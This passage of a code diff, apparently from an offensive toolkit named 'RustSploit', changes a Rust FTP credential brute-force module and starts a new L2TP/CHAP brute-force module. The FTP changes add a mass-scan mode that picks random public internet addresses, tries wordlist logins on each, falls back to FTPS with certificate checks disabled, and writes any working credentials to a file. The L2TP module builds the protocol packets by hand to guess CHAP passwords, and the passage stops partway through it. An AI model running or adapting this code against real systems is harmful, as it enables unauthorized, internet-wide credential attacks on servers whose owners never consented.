if api_mode { "ftp_results.txt".to_string() } else { prompt_default("Output file", "ftp_results.txt").unwrap_or_else(|_| "ftp_results.txt".to_string()) }
}))
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode (user × pass)?", false)?;
let verbose = config.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
});
let combo_mode = config.combo_mode.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Combination mode (user × pass)?", false).unwrap_or(false) }
});
let display_addr = format_addr_for_display(target, port);
let connect_addr = format_addr_for_display(target, port);
let addr = format_addr(target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let unknown = Arc::new(Mutex::new(Vec::<(String, String, String, String)>::new()));
let stop = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new());
println!("\n[*] Starting brute-force on {}", addr);
println!("\n[*] Starting brute-force on {}", display_addr);
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("{}", format!("[*] Loaded {} usernames", users.len()).cyan());
let passes = load_lines(&passwords_file)?;
if passes.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("{}", format!("[*] Loaded {} passwords", passes.len()).cyan());
let total_attempts = if combo_mode { users.len() * passes.len() } else { passes.len() };
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
println!();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
let mut tasks = FuturesUnordered::new();
@@ -91,12 +257,16 @@ pub async fn run(target: &str) -> Result<()> {
for pass in &passes {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let addr_clone = addr.clone();
let addr_clone = connect_addr.clone();
let target_clone = target.to_string();
let display_addr_clone = display_addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let unknown_clone = Arc::clone(&unknown);
let stop_clone = Arc::clone(&stop);
let semaphore_clone = Arc::clone(&semaphore);
let stats_clone = Arc::clone(&stats);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
@@ -111,19 +281,36 @@ pub async fn run(target: &str) -> Result<()> {
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_ftp_login(&addr_clone, &user_clone, &pass_clone, verbose_flag).await {
match try_ftp_login(&addr_clone, &target_clone, &user_clone, &pass_clone, verbose_flag).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
println!("\r{}", format!("[+] {} -> {}:{}", display_addr_clone, user_clone, pass_clone).green().bold());
found_clone.lock().await.push((display_addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
stats_clone.record_attempt(true, false);
if stop_on_success_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
stats_clone.record_attempt(false, false);
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{}", display_addr_clone, user_clone, pass_clone).dimmed());
}
}
Err(e) => {
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
stats_clone.record_attempt(false, true);
let msg = e.to_string();
{
let mut _unknown_clone = unknown_clone.lock().await;
_unknown_clone.push((
display_addr_clone.clone(),
user_clone.clone(),
pass_clone.clone(),
msg.clone(),
));
}
if verbose_flag {
println!("\r{}", format!("[?] {} -> {}:{} error/unknown: {}", display_addr_clone, user_clone, pass_clone, msg).yellow());
}
}
}
drop(permit);
@@ -134,13 +321,17 @@ pub async fn run(target: &str) -> Result<()> {
if !users.is_empty() {
for (i, pass) in passes.iter().enumerate() {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let user = users.get(i % users.len()).expect("User list modulus logic error").clone();
let user = users[i % users.len()].clone();
let addr_clone = addr.clone();
let addr_clone = connect_addr.clone();
let target_clone = target.to_string();
let display_addr_clone = display_addr.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let unknown_clone = Arc::clone(&unknown);
let stop_clone = Arc::clone(&stop);
let semaphore_clone = Arc::clone(&semaphore);
let stats_clone = Arc::clone(&stats);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
@@ -155,19 +346,36 @@ pub async fn run(target: &str) -> Result<()> {
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_ftp_login(&addr_clone, &user, &pass_clone, verbose_flag).await {
match try_ftp_login(&addr_clone, &target_clone, &user, &pass_clone, verbose_flag).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
found_clone.lock().await.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
println!("\r{}", format!("[+] {} -> {}:{}", display_addr_clone, user, pass_clone).green().bold());
found_clone.lock().await.push((display_addr_clone.clone(), user.clone(), pass_clone.clone()));
stats_clone.record_attempt(true, false);
if stop_on_success_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
stats_clone.record_attempt(false, false);
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{}", display_addr_clone, user, pass_clone).dimmed());
}
}
Err(e) => {
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
stats_clone.record_attempt(false, true);
let msg = e.to_string();
{
let mut unk = unknown_clone.lock().await;
unk.push((
display_addr_clone.clone(),
user.clone(),
pass_clone.clone(),
msg.clone(),
));
}
if verbose_flag {
println!("\r{}", format!("[!] Error: {}", e).yellow());
}
}
}
drop(permit);
@@ -178,25 +386,37 @@ pub async fn run(target: &str) -> Result<()> {
while let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task panicked (likely due to forced shutdown or internal error): {}", e));
if verbose {
println!("\r{}", format!("[!] Task error: {}", e).red());
}
}
}
// Stop progress reporter
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print final statistics
stats.print_final().await;
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
println!("{}", "[-] No credentials found.".yellow());
} else {
println!("\n[+] Valid credentials:");
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
println!(" {} {}:{}:{}", "".green(), host, user, pass);
}
if let Some(path) = save_path {
let file_path = get_filename_in_current_dir(&path);
match File::create(&file_path) {
Ok(mut file) => {
for (host, user, pass) in creds.iter() {
if writeln!(file, "{} -> {}:{}", host, user, pass).is_err() {
eprintln!("[!] Error writing to result file '{}'", file_path.display());
// Standardized format: IP:PORT:USER:PASS
// host should already include IP:PORT based on `display_addr` formatting earlier
// But wait, `display_addr` is `[IP]:Port` or `IP:Port`
// We want strictly `IP:PORT:USER:PASS`
if writeln!(file, "{}:{}:{}", host, user, pass).is_err() {
break;
}
}
@@ -208,13 +428,217 @@ pub async fn run(target: &str) -> Result<()> {
}
}
}
Ok(())
}
async fn try_ftp_login(addr: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
async fn run_mass_scan(target: &str) -> Result<()> {
// Get API config
let config = crate::config::get_module_config();
let api_mode = config.is_api_mode();
// Prep - use API config or prompt
let port: u16 = config.port.unwrap_or_else(|| {
if api_mode { 21 } else { prompt_port("FTP Port", 21).unwrap_or(21) }
});
let usernames_file = config.username_wordlist.clone().ok_or_else(|| {
if api_mode {
anyhow!("username_wordlist required for API mode mass scan")
} else {
anyhow!("Username wordlist required")
}
}).or_else(|_| {
if api_mode { Err(anyhow!("username_wordlist required for API mode")) }
else { prompt_existing_file("Username wordlist") }
})?;
let passwords_file = config.password_wordlist.clone().ok_or_else(|| {
if api_mode {
anyhow!("password_wordlist required for API mode mass scan")
} else {
anyhow!("Password wordlist required")
}
}).or_else(|_| {
if api_mode { Err(anyhow!("password_wordlist required for API mode")) }
else { prompt_existing_file("Password wordlist") }
})?;
let users = load_lines(&usernames_file)?;
let pass_lines = load_lines(&passwords_file)?;
if users.is_empty() { return Err(anyhow!("User list empty")); }
if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
let concurrency = config.concurrency.unwrap_or_else(|| {
if api_mode { 500 } else { prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000).unwrap_or(500) as usize }
});
let verbose = config.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
});
let output_file = config.output_file.clone().unwrap_or_else(|| {
if api_mode { "ftp_brute_mass_results.txt".to_string() }
else { prompt_default("Output result file", "ftp_brute_mass_results.txt").unwrap_or_else(|_| "ftp_brute_mass_results.txt".to_string()) }
});
// In API mode, always exclude private ranges; otherwise ask
let use_exclusions = if api_mode { true } else { prompt_yes_no("Exclude reserved/private ranges?", true).unwrap_or(true) };
// Parse exclusions
let mut exclusion_subnets = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusion_subnets.push(net);
}
}
println!("{}", format!("[+] Loaded {} exclusion ranges", exclusion_subnets.len()).cyan());
}
let exclusions = Arc::new(exclusion_subnets);
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
let creds_pkg = Arc::new((users, pass_lines));
// Stats
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs scanned, {} valid credentials found",
s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
}
});
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
if run_random {
// Initialize state file
OpenOptions::new().create(true).write(true).open(STATE_FILE).await?;
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let exc = exclusions.clone();
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
if !is_ip_checked(&ip).await {
mark_ip_checked(&ip).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
// File Mode
let content = match tokio::fs::read_to_string(target).await {
Ok(c) => c,
Err(e) => {
println!("{}", format!("[!] Failed to read target file: {}", e).red());
return Ok(());
}
};
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
for ip_str in lines {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
if let Ok(ip) = ip_str.parse::<IpAddr>() {
tokio::spawn(async move {
if !is_ip_checked(&ip).await {
mark_ip_checked(&ip).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
} else {
drop(permit);
}
}
for _ in 0..concurrency {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
async fn mass_scan_host(
ip: IpAddr,
port: u16,
creds: Arc<(Vec<String>, Vec<String>)>,
stats_found: Arc<AtomicUsize>,
output_file: String,
verbose: bool
) {
let sa = SocketAddr::new(ip, port);
// 1. Connection Check
if timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(&sa)).await.is_err() {
return;
}
let (users, passes) = &*creds;
// 2. Iterative Bruteforce
// Sequential try to avoid blasting the server
let addr_str = format!("{}:{}", ip, port);
for user in users {
for pass in passes {
let res = try_ftp_login(&addr_str, &ip.to_string(), user, pass, verbose).await;
match res {
Ok(true) => {
// Format: IP:PORT:USER:PASS
let msg = format!("{}:{}:{}:{}", ip, port, user, pass);
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
return; // Stop after first success
}
Ok(false) => { // Auth failed
}
Err(e) => {
// If conn refused/timeout, likely dead or blocked, abort this host
let err = e.to_string().to_lowercase();
if err.contains("refused") || err.contains("timeout") || err.contains("reset") {
return;
}
}
}
}
}
}
/// Try login using address string and fallback to FTPS if needed
async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
// Attempt 1: Plain FTP
match AsyncFtpStream::connect(addr).await {
Ok(mut ftp) => {
if verbose {
//println!("[i] Connecting to {} (plain FTP)", addr);
}
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(addr)).await {
Ok(Ok(mut ftp)) => {
match ftp.login(user, pass).await {
Ok(_) => {
let _ = ftp.quit().await;
@@ -222,74 +646,54 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str, verbose: bool) -> Res
}
Err(e) => {
let msg = e.to_string();
if msg.contains("530") {
return Ok(false);
} else if msg.contains("550 SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
println!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr);
} else if msg.contains("421") {
println!("[-] {} - Server reported too many connections (421). Sleeping briefly...", addr);
sleep(Duration::from_secs(2)).await;
return Ok(false);
} else {
if verbose {
println!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
match FtpErrorType::classify_error(&msg) {
FtpErrorType::AuthenticationFailed => {
return Ok(false);
}
FtpErrorType::TlsRequired => {
// Proceed to FTPS attempt
}
FtpErrorType::ConnectionLimitExceeded => {
sleep(Duration::from_secs(1)).await;
return Ok(false); // Treat as soft fail
}
_ => {
return Err(anyhow!("FTP login error: {}", msg));
}
return Err(anyhow!("FTP login error: {}", msg));
}
}
}
}
Err(e) => {
let msg = e.to_string();
if msg.contains("SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
println!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr);
} else if msg.contains("421") {
println!("[-] {} - Server reported too many connections during connect (421). Sleeping briefly...", addr);
sleep(Duration::from_secs(2)).await;
return Ok(false);
} else {
if verbose {
println!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
}
return Err(anyhow!("FTP connection error: {}", msg));
}
Ok(Err(e)) => {
// Connection level error
return Err(e.into());
}
Err(_) => {
return Err(anyhow!("Timeout"));
}
}
// 2️⃣ Only if needed, try FTPS
if verbose {
println!("[i] {} Attempting FTPS login for user '{}'", addr, user);
}
let mut ftp_tls = AsyncNativeTlsFtpStream::connect(addr)
.await
.map_err(|e| {
if verbose {
println!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
}
anyhow!("FTPS base connect failed: {}", e)
})?;
// FTPS fallback logic (retained but lightweight for mass scan? maybe skip for mass scan unless configured?)
// For now, reuse it as it makes the check robust.
// FTPS attempts ... (simulated reuse of original logic below)
let mut ftp_tls = match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncNativeTlsFtpStream::connect(addr)).await {
Ok(Ok(s)) => s,
_ => return Err(anyhow!("FTPS Connect failed")),
};
let connector = AsyncNativeTlsConnector::from(
TlsConnector::new()
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true),
);
let domain = target.trim_start_matches('[').split(&[']', ':'][..]).next().unwrap_or(target);
let domain = addr
.trim_start_matches('[')
.split(&[']', ':'][..])
.next()
.unwrap_or(addr);
ftp_tls = ftp_tls
.into_secure(connector, domain)
.await
.map_err(|e| {
if verbose {
println!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
}
anyhow!("TLS upgrade failed: {}", e)
})?;
ftp_tls = match ftp_tls.into_secure(connector, domain).await {
Ok(s) => s,
Err(e) => return Err(anyhow!("TLS Upgrade: {}", e)),
};
match ftp_tls.login(user, pass).await {
Ok(_) => {
@@ -297,85 +701,50 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str, verbose: bool) -> Res
Ok(true)
}
Err(e) => {
let msg = e.to_string();
if msg.contains("530") {
Ok(false)
} else {
if verbose {
println!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
}
Err(anyhow!("FTPS error: {}", msg))
match FtpErrorType::classify_error(&e.to_string()) {
FtpErrorType::AuthenticationFailed => Ok(false),
_ => Err(anyhow!("FTPS Error: {}", e)),
}
}
}
}
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
let mut excluded = false;
for net in exclusions {
if net.contains(ip_addr) {
excluded = true;
break;
}
}
if !excluded { return ip_addr; }
}
}
async fn is_ip_checked(ip: &impl ToString) -> bool {
if !std::path::Path::new(STATE_FILE).exists() {
return false;
}
let ip_s = ip.to_string();
let status = Command::new("grep")
.arg("-F")
.arg("-q")
.arg(format!("checked: {}", ip_s))
.arg(STATE_FILE)
.stderr(std::process::Stdio::null())
.status()
.await;
match status { Ok(s) => s.success(), Err(_) => false }
}
// === Helpers === (prompt_required, prompt_default, prompt_yes_no, load_lines, log, get_filename_in_current_dir remain unchanged)
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
}
println!("{}", "This field is required.".yellow());
async fn mark_ip_checked(ip: &impl ToString) {
let data = format!("checked: {}\n", ip.to_string());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(STATE_FILE).await {
let _ = file.write_all(data.as_bytes()).await;
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
match input.as_str() {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref()).map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
.filter(|line| !line.is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
Path::new(input)
.file_name()
.map(|name_os_str| PathBuf::from(format!("./{}", name_os_str.to_string_lossy())))
.unwrap_or_else(|| PathBuf::from(input))
}
@@ -0,0 +1,664 @@
use anyhow::{anyhow, Result};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
fs::File,
io::Write,
net::UdpSocket,
sync::Arc,
sync::atomic::{AtomicBool, Ordering},
time::Duration,
};
use tokio::sync::{Mutex, Semaphore};
use tokio::time::sleep;
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_default, prompt_int_range,
load_lines, normalize_target, get_filename_in_current_dir, prompt_port,
};
use crate::modules::creds::utils::BruteforceStats;
const PROGRESS_INTERVAL_SECS: u64 = 2;
const DEFAULT_TIMEOUT_MS: u64 = 5000;
// L2TP Message Types
const L2TP_SCCRQ: u16 = 1; // Start-Control-Connection-Request
const L2TP_SCCRP: u16 = 2; // Start-Control-Connection-Reply
const L2TP_SCCCN: u16 = 3; // Start-Control-Connection-Connected
const L2TP_ICRQ: u16 = 10; // Incoming-Call-Request
const L2TP_ICRP: u16 = 11; // Incoming-Call-Reply
const L2TP_ICCN: u16 = 12; // Incoming-Call-Connected
// PPP Protocol IDs
const PPP_CHAP: u16 = 0xC223;
// CHAP Codes
const CHAP_CHALLENGE: u8 = 1;
const CHAP_RESPONSE: u8 = 2;
const CHAP_SUCCESS: u8 = 3;
const CHAP_FAILURE: u8 = 4;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ L2TP/PPP Brute Force Module ║".cyan());
println!("{}", "║ Native L2TP/CHAP Implementation ║".cyan());
println!("{}", "║ Tests against L2TP servers using CHAP authentication ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// L2TP Session state
struct L2tpSession {
sock: UdpSocket,
local_tunnel_id: u16,
remote_tunnel_id: u16,
local_session_id: u16,
remote_session_id: u16,
ns: u16, // Next sequence to send
nr: u16, // Next sequence expected
}
impl L2tpSession {
fn new(sock: UdpSocket) -> Self {
Self {
sock,
local_tunnel_id: rand::random::<u16>() | 1,
remote_tunnel_id: 0,
local_session_id: rand::random::<u16>() | 1,
remote_session_id: 0,
ns: 0,
nr: 0,
}
}
/// Build L2TP control message
fn build_control(&mut self, avps: &[u8]) -> Vec<u8> {
// Flags: T=1 (control), L=1 (length), S=1 (sequence)
let flags: u16 = 0xC802;
let length = 12 + avps.len() as u16;
let mut pkt = Vec::with_capacity(length as usize);
pkt.extend_from_slice(&flags.to_be_bytes());
pkt.extend_from_slice(&length.to_be_bytes());
pkt.extend_from_slice(&self.remote_tunnel_id.to_be_bytes());
pkt.extend_from_slice(&0u16.to_be_bytes()); // Session 0 for control
pkt.extend_from_slice(&self.ns.to_be_bytes());
pkt.extend_from_slice(&self.nr.to_be_bytes());
pkt.extend_from_slice(avps);
self.ns = self.ns.wrapping_add(1);
pkt
}
/// Build L2TP data message
fn build_data(&self, payload: &[u8]) -> Vec<u8> {
let flags: u16 = 0x0002; // Data message
let mut pkt = Vec::with_capacity(6 + payload.len());
pkt.extend_from_slice(&flags.to_be_bytes());
pkt.extend_from_slice(&self.remote_tunnel_id.to_be_bytes());
pkt.extend_from_slice(&self.remote_session_id.to_be_bytes());
pkt.extend_from_slice(payload);
pkt
}
/// Build AVP (Attribute-Value Pair)
fn build_avp(attr_type: u16, value: &[u8], mandatory: bool) -> Vec<u8> {
let flags = if mandatory { 0x8000 } else { 0 } | (6 + value.len() as u16);
let mut avp = Vec::with_capacity(6 + value.len());
avp.extend_from_slice(&flags.to_be_bytes());
avp.extend_from_slice(&0u16.to_be_bytes()); // Vendor ID = 0
avp.extend_from_slice(&attr_type.to_be_bytes());
avp.extend_from_slice(value);
avp
}
/// Send SCCRQ (Start-Control-Connection-Request)
fn send_sccrq(&mut self) -> Result<()> {
let mut avps = Vec::new();
// Message Type = SCCRQ
avps.extend(Self::build_avp(0, &L2TP_SCCRQ.to_be_bytes(), true));
// Protocol Version = 1.0
avps.extend(Self::build_avp(2, &[0x01, 0x00], true));
// Host Name
avps.extend(Self::build_avp(3, b"RustSploit-L2TP", true));
// Assigned Tunnel ID
avps.extend(Self::build_avp(9, &self.local_tunnel_id.to_be_bytes(), true));
// Receive Window Size
avps.extend(Self::build_avp(10, &1500u16.to_be_bytes(), true));
let pkt = self.build_control(&avps);
self.sock.send(&pkt)?;
Ok(())
}
/// Send SCCCN (Start-Control-Connection-Connected)
fn send_scccn(&mut self) -> Result<()> {
let mut avps = Vec::new();
avps.extend(Self::build_avp(0, &L2TP_SCCCN.to_be_bytes(), true));
let pkt = self.build_control(&avps);
self.sock.send(&pkt)?;
Ok(())
}
/// Send ICRQ (Incoming-Call-Request)
fn send_icrq(&mut self) -> Result<()> {
let mut avps = Vec::new();
avps.extend(Self::build_avp(0, &L2TP_ICRQ.to_be_bytes(), true));
avps.extend(Self::build_avp(14, &self.local_session_id.to_be_bytes(), true));
avps.extend(Self::build_avp(15, &rand::random::<u32>().to_be_bytes(), true)); // Call Serial Number
let pkt = self.build_control(&avps);
self.sock.send(&pkt)?;
Ok(())
}
/// Send ICCN (Incoming-Call-Connected)
fn send_iccn(&mut self) -> Result<()> {
let mut avps = Vec::new();
avps.extend(Self::build_avp(0, &L2TP_ICCN.to_be_bytes(), true));
avps.extend(Self::build_avp(24, &1000000u32.to_be_bytes(), true)); // Tx Connect Speed
avps.extend(Self::build_avp(19, &0u32.to_be_bytes(), true)); // Framing Type
let pkt = self.build_control(&avps);
self.sock.send(&pkt)?;
Ok(())
}
/// Send CHAP Response
fn send_chap_response(&self, identifier: u8, challenge: &[u8], username: &str, password: &str) -> Result<()> {
// Compute CHAP hash: MD5(identifier + password + challenge)
let mut data = Vec::with_capacity(1 + password.len() + challenge.len());
data.push(identifier);
data.extend_from_slice(password.as_bytes());
data.extend_from_slice(challenge);
let hash = md5::compute(&data);
// Build CHAP Response packet
let name_bytes = username.as_bytes();
let length: u16 = 4 + 1 + 16 + name_bytes.len() as u16;
let mut chap = Vec::new();
chap.push(CHAP_RESPONSE);
chap.push(identifier);
chap.extend_from_slice(&length.to_be_bytes());
chap.push(16); // Value size (MD5 = 16 bytes)
chap.extend_from_slice(&hash.0);
chap.extend_from_slice(name_bytes);
// Wrap in PPP frame
let mut ppp = Vec::new();
ppp.extend_from_slice(&[0xFF, 0x03]); // Address + Control
ppp.extend_from_slice(&PPP_CHAP.to_be_bytes());
ppp.extend_from_slice(&chap);
let pkt = self.build_data(&ppp);
self.sock.send(&pkt)?;
Ok(())
}
/// Receive and parse L2TP packet
fn recv_packet(&self, timeout: Duration) -> Result<L2tpPacket> {
self.sock.set_read_timeout(Some(timeout))?;
let mut buf = [0u8; 4096];
let n = self.sock.recv(&mut buf)?;
if n < 6 {
return Err(anyhow!("Packet too short"));
}
let flags = u16::from_be_bytes([buf[0], buf[1]]);
let is_control = (flags & 0x8000) != 0;
let has_length = (flags & 0x4000) != 0;
let has_sequence = (flags & 0x0800) != 0;
let mut offset = 2;
if has_length {
offset += 2;
}
let tunnel_id = u16::from_be_bytes([buf[offset], buf[offset + 1]]);
offset += 2;
let session_id = u16::from_be_bytes([buf[offset], buf[offset + 1]]);
offset += 2;
if has_sequence {
offset += 4; // Ns + Nr
}
let payload = buf[offset..n].to_vec();
Ok(L2tpPacket {
is_control,
tunnel_id,
session_id,
payload,
})
}
/// Parse control message type from AVPs
fn parse_message_type(payload: &[u8]) -> Option<u16> {
let mut offset = 0;
while offset + 6 <= payload.len() {
let avp_flags = u16::from_be_bytes([payload[offset], payload[offset + 1]]);
let avp_len = (avp_flags & 0x03FF) as usize;
if offset + avp_len > payload.len() {
break;
}
let vendor_id = u16::from_be_bytes([payload[offset + 2], payload[offset + 3]]);
let attr_type = u16::from_be_bytes([payload[offset + 4], payload[offset + 5]]);
if vendor_id == 0 && attr_type == 0 && avp_len >= 8 {
return Some(u16::from_be_bytes([payload[offset + 6], payload[offset + 7]]));
}
offset += avp_len;
}
None
}
/// Parse assigned tunnel/session ID from AVPs
fn parse_assigned_id(payload: &[u8], attr_type: u16) -> Option<u16> {
let mut offset = 0;
while offset + 6 <= payload.len() {
let avp_flags = u16::from_be_bytes([payload[offset], payload[offset + 1]]);
let avp_len = (avp_flags & 0x03FF) as usize;
if offset + avp_len > payload.len() {
break;
}
let vendor_id = u16::from_be_bytes([payload[offset + 2], payload[offset + 3]]);
let avp_type = u16::from_be_bytes([payload[offset + 4], payload[offset + 5]]);
if vendor_id == 0 && avp_type == attr_type && avp_len >= 8 {
return Some(u16::from_be_bytes([payload[offset + 6], payload[offset + 7]]));
}
offset += avp_len;
}
None
}
}
#[allow(dead_code)]
struct L2tpPacket {
is_control: bool,
tunnel_id: u16,
session_id: u16,
payload: Vec<u8>,
}
/// Main L2TP bruteforce entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
// Check for API-provided config
let config_api = crate::config::get_module_config();
let api_mode = config_api.is_api_mode();
let normalized = normalize_target(target)?;
let port: u16 = if let Some(p) = config_api.port {
p
} else if api_mode {
1701
} else {
prompt_port("L2TP Port", 1701)?
};
let usernames_file = if let Some(ref f) = config_api.username_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Username wordlist not found: {}", f));
}
f.clone()
} else if api_mode {
return Err(anyhow!("Username wordlist required for API mode"));
} else {
prompt_existing_file("Username wordlist")?
};
let passwords_file = if let Some(ref f) = config_api.password_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Password wordlist not found: {}", f));
}
f.clone()
} else if api_mode {
return Err(anyhow!("Password wordlist required for API mode"));
} else {
prompt_existing_file("Password wordlist")?
};
let concurrency = config_api.concurrency.unwrap_or_else(|| {
